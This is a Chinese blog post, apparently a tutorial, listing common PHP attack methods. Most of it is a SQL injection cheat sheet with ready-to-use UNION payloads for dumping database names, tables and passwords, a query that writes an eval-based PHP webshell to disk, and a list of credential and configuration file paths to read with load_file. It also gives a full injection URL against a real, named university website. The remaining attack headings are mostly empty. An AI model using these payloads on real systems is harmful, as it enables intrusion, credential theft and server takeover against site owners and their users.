PHP常见的几种攻击方式实例小结


Posted in PHP onApril 29, 2019

本文实例总结了PHP常见的几种攻击方式。分享给大家供大家参考,具体如下:

1.SQL Injection(sql注入)

①.暴字段长度 Order by num/*

②.匹配字段 and 1=1 union select 1,2,3,4,5…….n/*

③.暴露字段位置 and 1=2 union select 1,2,3,4,5…..n/*

④.利用内置函数暴数据库信息

version() database() user()

不用猜解可用字段暴数据库信息(有些网站不适用):

and 1=2 union all select version() /*

and 1=2 union all select database() /*

and 1=2 union all select user() /*

操作系统信息:

and 1=2 union all select @@global.version_compile_os from mysql.user /*

数据库权限:

and ord(mid(user(),1,1))=114 /* 返回正常说明为root

暴库 (mysql>5.0)

Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息  and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1

猜表

and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)—

猜字段

and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六进制)limit 0,1

暴密码

and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1

高级用法(一个可用字段显示两个数据内容):Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1

直接写马(Root权限)

条件:

①、知道站点物理路径

②、有足够大的权限(可以用select …. from mysql.user测试)

③、magic_quotes_gpc()=OFF

select '<?php eval($_POST[cmd])?>' into outfile '物理路径' and 1=2 union all select 一句话HEX值 into outfile '路径'

load_file() 常用路径:

1、replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
3、load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
4、/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虚拟主机配置文件
5、c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf 查看WINDOWS系统apache文件
6、c:/Resin-3.0.14/conf/resin.conf 查看jsp开发的网站 resin文件配置信息.
7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
8、d:\APACHE\Apache2\conf\httpd.conf
9、C:\Program Files\mysql\my.ini
10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路径
11、 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置文件
12、 /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
14 、/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虚拟主机查看
15、 /etc/sysconfig/iptables 本看防火墙策略
16 、usr/local/app/php5 b/php.ini PHP 的相当设置
17 、/etc/my.cnf MYSQL的配置文件
18、 /etc/redhat-release 红帽子的系统版本
19 、C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.
21、/usr/local/app/php5 b/php.ini //PHP相关设置
22、/usr/local/app/apache2/conf/extra tpd-vhosts.conf //虚拟网站设置
23、C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
24、c:\windows\my.ini
25、c:\boot.ini

手工注射时出现的问题:

当注射后页面显示:

Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'

如:http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,load_file(0x433A5C626F6F742E696E69),3,4,user()%20

这是由于前后编码不一致造成的,

解决方法:在参数前加上 unhex(hex(参数))就可以了。上面的URL就可以改为:

http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,unhex(hex(load_file(0x433A5C626F6F742E696E69))),3,4,unhex(hex(user()))%20

既可以继续注射了。。。

2.XSS (Cross Site Scripting)(跨站脚本攻击)

3.Source Code Revelation(源代码暴露)

可以用php.ini或者htaccess控制

<Files ~ "\.inc$">
   Order allow,deny
   Deny from all
</Files>

4.Remote File Inclusion(远程文件包含漏洞)

<?php
$file = $_GET['file']; // “ ../../etc/passwd\0”
if(file_exists('/home/wwwrun' . $file . '.php')){xxx}
?>

5.Session Hijacking(session劫持)

6.Cross Site Request Forgery(跨站请求伪造)

7.Directory Traversal(目录跨越)

希望本文所述对大家PHP程序设计有所帮助。

PHP 相关文章推荐
PHP4实际应用经验篇(1)
Oct 09 PHP
让你成为更出色的PHP开发者的10个技巧
Feb 25 PHP
PHP错误抑制符(@)导致引用传参失败Bug的分析
May 02 PHP
php设计模式 Chain Of Responsibility (职责链模式)
Jun 26 PHP
一个PHP的远程图片抓取函数分享
Sep 25 PHP
thinkphp控制器调度使用示例
Feb 24 PHP
让codeigniter与swfupload整合的最佳解决方案
Jun 12 PHP
php通过strpos查找字符串出现位置的方法
Mar 17 PHP
php保存任意网络图片到服务器的方法
Apr 14 PHP
php判断邮箱地址是否存在的方法
Feb 13 PHP
ThinkPHP框架表单验证操作方法
Jul 19 PHP
PHP7创建销毁session的实例方法
Feb 03 PHP
php-fpm重启导致的程序执行中断问题详解
Apr 29 #PHP
详解提高使用Java反射的效率方法
Apr 29 #PHP
Thinkphp整合阿里云OSS图片上传实例代码
Apr 28 #PHP
详解php中生成标准uuid(guid)的方法
Apr 28 #PHP
PHP写API输出的时用echo的原因详解
Apr 28 #PHP
PHP+mysql防止SQL注入的方法小结
Apr 27 #PHP
PHP常用工具函数小结【移除XSS攻击、UTF8与GBK编码转换等】
Apr 27 #PHP
You might like
一个php作的文本留言本的例子(三)
2006/10/09 PHP
ThinkPHP模板比较标签用法详解
2014/06/30 PHP
PHP实现支持SSL连接的SMTP邮件发送类
2015/03/05 PHP
php数组转成json格式的方法
2015/03/09 PHP
php商品对比功能代码分享
2015/09/24 PHP
Laravel的Auth验证Token验证使用自定义Redis的例子
2019/09/30 PHP
利用javascript打开模态对话框(示例代码)
2014/01/11 Javascript
javascript教程之不完整的继承(js原型链)
2014/01/13 Javascript
原生 JS Ajax,GET和POST 请求实例代码
2016/06/08 Javascript
JS在浏览器中解析Base64编码图像
2017/02/09 Javascript
微信小程序实现锚点定位楼层跳跃的实例
2017/05/18 Javascript
浅谈angular.js跨域post解决方案
2017/08/30 Javascript
jQuery实现切换隐藏与显示同时切换图标功能
2017/10/29 jQuery
微信小程序实现点击卡片 翻转效果
2019/09/04 Javascript
Element InputNumber 计数器的实现示例
2020/08/03 Javascript
Python3基础之函数用法
2014/08/13 Python
python bottle框架支持jquery ajax的RESTful风格的PUT和DELETE方法
2017/05/24 Python
简单的python协同过滤程序实例代码
2018/01/31 Python
Django框架实现逆向解析url的方法
2018/07/04 Python
python实现最大优先队列
2019/08/29 Python
浅谈pytorch、cuda、python的版本对齐问题
2020/01/15 Python
python按顺序重命名文件并分类转移到各个文件夹中的实现代码
2020/07/21 Python
意大利香水和彩妆护肤品购物网站:Ditano
2017/08/13 全球购物
澳大利亚波希米亚风时尚品牌:Tree of Life
2019/09/15 全球购物
大学生实习思想汇报
2014/01/12 职场文书
英语演讲稿3分钟
2014/04/29 职场文书
文明村镇申报材料
2014/05/06 职场文书
领导干部群众路线剖析材料
2014/10/09 职场文书
初中教师德育工作总结2015
2015/05/12 职场文书
重阳节座谈会主持词
2015/07/03 职场文书
军训后的感想
2015/08/07 职场文书
资深HR教你写好简历中的自我评价
2019/05/07 职场文书
mybatis使用oracle进行添加数据的方法
2021/04/27 Oracle
go设置多个GOPATH的方式
2021/05/05 Golang
Python基本数据类型之字符串str
2021/07/21 Python
Vue全局事件总线你了解吗
2022/02/24 Vue.js